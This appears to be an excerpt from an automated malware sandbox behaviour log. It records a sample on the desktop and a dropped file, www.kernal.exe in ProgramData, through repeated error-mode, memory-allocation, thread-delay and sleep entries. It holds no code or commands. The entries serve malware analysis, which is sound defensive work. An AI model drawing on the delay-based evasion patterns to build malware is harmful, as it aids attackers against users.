Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Memory allocated: 570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Memory allocated: 1A420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 2170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1A240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 2320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1A590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 9A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1A650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1A7F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 12F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1AD40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1B050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 570000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Memory allocated: 1A270000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598543	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598436	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597014	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595795	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Window / User API: threadDelayed 1515			Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Window / User API: threadDelayed 8347			Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5224	Thread sleep count: 1515 > 30	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5224	Thread sleep count: 8347 > 30	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598543s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598436s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -597014s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595795s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -594921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe TID: 5432	Thread sleep time: -594593s >= -30000s	Jump to behavior
Source: C:\ProgramData\www.kernal.exe TID: 4072	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\www.kernal.exe TID: 6536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\www.kernal.exe TID: 2864	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\www.kernal.exe TID: 6916	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\www.kernal.exe TID: 828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\www.kernal.exe TID: 6284	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\www.kernal.exe TID: 5560	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598543	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598436	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 597014	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596906	Jump to behavior
